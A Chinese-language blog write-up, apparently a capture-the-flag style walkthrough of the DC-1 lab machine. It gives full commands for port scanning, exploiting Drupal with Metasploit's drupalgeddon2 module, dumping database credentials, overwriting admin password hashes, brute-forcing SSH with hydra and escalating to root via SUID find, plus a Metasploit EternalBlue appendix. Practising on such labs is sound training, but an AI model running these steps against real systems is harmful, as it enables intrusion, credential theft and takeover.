dc-1打靶日记

1. nmap扫描

1.1 目标ip地址确认

通过开关靶机确定并查询当前网段存活的主机来确定靶机的ip地址

image-20240508142639621

image-20240508142749901

通过比较可以看出我们的靶机的ip地址应该是192.168.31.97

1.2 端口扫描

  1. 扫描开放端口

nmap -sT –min-rate 10000 -p- 192.168.31.97 -oA nmapscan/dc-1ports

-sT: 使用tcp三次握手的过程进行探测端口是否开放(相对较慢,但相对准确);

-sS: 默认扫描方式,通过syn标志位进行检测连接是否开放(容易被防火墙挡住);

-oA:以全格式保存在后续的地址文件中,以三种不同的后缀文件名保存;

--min-rate: 指定扫描的速度,在正式的护网中要比10000还慢;

-p:指定扫描端口,-p-指的是从1到65535端口

image-20240508143039722

可以看到其开放的端口有22,80,111,34609

  1. 扫描开放端口的详细信息

sudo nmap -sT -sV -sC -O -p22,80,111,34609 192.168.31.97 -oA nmapscan/portsdetail

-sV:扫描提供服务的版本

-sC:用默认的脚本进行扫描

-O:扫描操作系统的版本

image-20240508143334438

根据端口的扫描结果可以知道的信息并不太多,但是通过访问80端口暴露出来的目录可以得知,在install.php目录下,可以确定其使用的框架

image-20240508144253725

通过网络查询可以知道这是一个CMS框架,作为重要信息之一。

通过漏洞搜索可知,这个cms框架的漏洞并不少

searchsploit durpal cms

searchsploit durpal

image-20240508145010198

  1. 扫描常见udp端口

sudo nmap -sU –top-ports 20 192.168.31.97 -oA nmapscan/udpports

--top-ports:扫描最常用的n个端口,空格接数量;

扫描最常见的20个udp端口,查看其开放状态;保存信息备用;

image-20240508144444059

  1. nmap漏扫

sudo nmap -script=vuln -p22,80,111,34609 192.168.31.97 -oA nmapscan/vuln

image-20240508151247542

漏扫27分钟也没扫出啥,待会再扫,先试试drupal cms搜索出来的漏洞

2. gobuster目录爆破

sudo gobuster dir -u http://192.168.31.97 –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20240508151137916

目录爆破太慢了,对已爆破出来的目录访问能得到的信息就是知道使用的是drupal cms

3. drupal CMS测试

使用Metasploit查询该CMS进行进行利用测试。

image-20240508152402082

可以根据自己的判断对上述的漏洞进行优先级排序测试,一般从排名excellent中最新的开始测试,我们这里先测试2018年的那个exploit/unix/webapp/drupal_drupalgeddon2

use exploit/unix/webapp/drupal_drupalgeddon2

show options

image-20240508152900292

show options显示漏洞模块参数,Requiredyes的则是必须设置的,为no的则是可设置可不设置的;

Current Setting是当前设置的值

我们一般需要对RHOSTS进行设置,该值是指目标IP地址

set RHOSTS 192.168.31.97

image-20240508153137069

成功设置目标IP地址,在实施利用即可

exploit

image-20240508153310426

看到Meterpreter session 1 opened (192.168.31.221:4444 -> 192.168.31.97:39076) at 2024-05-08 15:32:19 +0800 就是攻击成功了,接下来可以直接上shell获取权限

shell

whoami

id

image-20240508153427769

可以看到这只是一个普通权限的shell,虽然只是一个普通权限,但是我们可以通过该普通权限去获取别的信息

image-20240508153643060

搜索其他的flag文件

find / -name flag*

image-20240508154021256

通过网络查询得知drupal cms的配置文件一般位于名叫setting.php的文件当中,我们把所有的*setting.php文件都找出来

image-20240508154531599

find / -name *settings.php

image-20240508154617431

存在3个设置文件,第一个theme-settings.php根据名字判断应该是主题相关的设置文件,所以我们可以先不查看该文件,而先查看另外两个settings.php文件

image-20240508154818023

可以看到settings.php文件中存在数据库的用户名和密码,以及flag2的提示信息;而第三个文件夹大多为注释内容,提取不到什么有用的信息。

image-20240508155046925

继续根据刚才获得的数据库用户名和密码登录数据库查看数据库中的数据,尝试获取登录的用户名和密码

mysql -udbuser -pR0ck3t

image-20240508155737203

可以看到已经成功登陆了数据库,查看数据库

show databases;

image-20240508155828378

可以看到一个是数据库名信息的记录文件,一个是drupaldb数据库;查看drupaldb数据库中的表名

use drupaldb;show tables;

image-20240508160038573

可以看到其中有个叫user的表,其中应该有我们想要的信息,查看该表内的内容;

select * from users;

image-20240508160155232

可以看到确实存在相应的用户名和密码,不过可惜的是用户名对应的密码存在加密,

name | pass

admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

通过经验判断,数据库中的密码一般是采用hash加密,我们寻找一下hash加密脚本

find / -name *hash*

image-20240508161302264

通过名字判断这应该是我们需要的hash加密脚本,通过读取该脚本可以找到它的使用方法

cat /var/www/scripts/password-hash.sh

image-20240508161405902

使用脚本将自己的密码进行hash加密,然后对表中账号的密码进行修改

php /var/www/scripts/password-hash.sh admin

password: admin hash: $S$DdNJTCHNikFL2m5Yrdjd2mOZ8ZY47LZAsAQumOy5XNxo1My2AG6w

image-20240508161623002

再次回到数据库中更新密码,修改admin账户的密码为admin

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass=”$S$DdNJTCHNikFL2m5Yrdjd2mOZ8ZY47LZAsAQumOy5XNxo1My2AG6w” where name=”admin” or name=”Fred”;

image-20240508162245299

使用已修改的账号密码去登录cms的后台管理,查看其内容可以发现flag3

image-20240508163330823

通过访问/etc/passwd文件获取系统的用户名,想要访问/etc/shadow发现没有足够的权限,但是我们发现存在用户名为flag4

image-20240508164002611

方法1:通过直接使用hydra爆破flag4的密码

方法2:提权获取root权限

首先,尝试通过爆破获取flag4用户民的密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.31.97

image-20240508165141086

成功爆破出flag4用户的ssh密码,使用其登录获取flag4.txt文件

image-20240508165242797

提权获取root权限,利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

image-20240508164924667

find比较常用,可以执行root权限的命令找查文件

find / -name index.php -exec “/bin/sh” \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec “/bin/sh” \;

image-20240508165031862

提权成功,已经获取了root权限,可以访问本机的所有文件,包括shadow

image-20240508165317061

至此完全结束!

4. 总结收获

  1. 扫描目标ip开放端口
  2. 扫描开放端口详细信息
  3. 爆破目录,查看目标机器使用的架构等等指纹信息,通过指纹信息查询是否存在相关的漏洞
  4. 通过基础漏洞获取普通shell,可以通过查询各种配置文件获取其他信息,包括数据库账户密码等或者通过提权获取爆破用户对应的密码等(重点步骤)
  5. 爆破ssh用户名密码

附录

*.1 Metasploit使用教程

  1. 基本使用方法

msfconsole #进入框架

search ms17_010 # 使用search命令查找相关漏洞

use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块

info #使用info查看模块信息

set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷

show options #查看模块需要配置的参数

set RHOST 192.168.100.158 #设置参数

exploit / run #攻击后渗透阶段

后渗透阶段

  1. 生成交互性界面

python -c ‘import pty; pty.spawn(“/bin/bash”)’

*.2 SUID提权

简谈SUID提权 - FreeBuf网络安全行业门户


dc-1打靶日记
http://candyb0x.github.io/2024/05/08/dc-1打靶日记/
作者
Candy
发布于
2024年5月8日
更新于
2024年6月19日
许可协议